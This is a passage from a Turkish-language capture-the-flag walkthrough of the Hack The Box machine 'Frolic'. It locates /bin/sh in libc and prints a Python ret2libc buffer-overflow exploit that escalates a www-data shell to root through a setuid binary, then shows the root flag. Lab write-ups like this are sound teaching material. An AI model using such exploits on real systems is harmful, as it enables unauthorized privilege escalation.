Şimdi de kütüphane içerisinde /bin/sh ifadesinin nerede olduğunu bualalım.


www-data@frolic:/home/ayush/.binary$ strings -a -t x /lib/i386-linux-gnu/libc.so.6  | grep /bin/sh
</.binary$ strings -a -t x /lib/i386-linux-gnu/libc.so.6  | grep /bin/sh     
 15ba0b /bin/sh

Artık exploitimizi yazabiliriz.


┌──(root💀kali)-[/home/…/HTB/Linux/Frolic/exploit]
└─# cat exploit.py 
import struct

libc= 0xb7e19000
system = libc + 0x0003ada0
exit= libc + 0x0002e9d0
sh= libc + 0x15ba0b

payload=""
payload+='A'*52
payload+=struct.pack("<I",system)
payload+=struct.pack("<I",exit)
payload+=struct.pack("<I",sh)
print(payload)

Hedef makineye exploiti attım ve çalıştırdım.

$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ./rop $(python /tmp/exploit.py)
./rop $(python /tmp/exploit.py)
# id
id
uid=0(root) gid=33(www-data) groups=33(www-data)
# cd /root
cd /root
# ls
ls
root.txt
# cat root.txt
cat root.txt
85d3fdf03f969892538ba9a731826222

Bingo!

Kategori:Reverse EngineeringWalkthrough

İlk Yorumu Siz Yapın

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir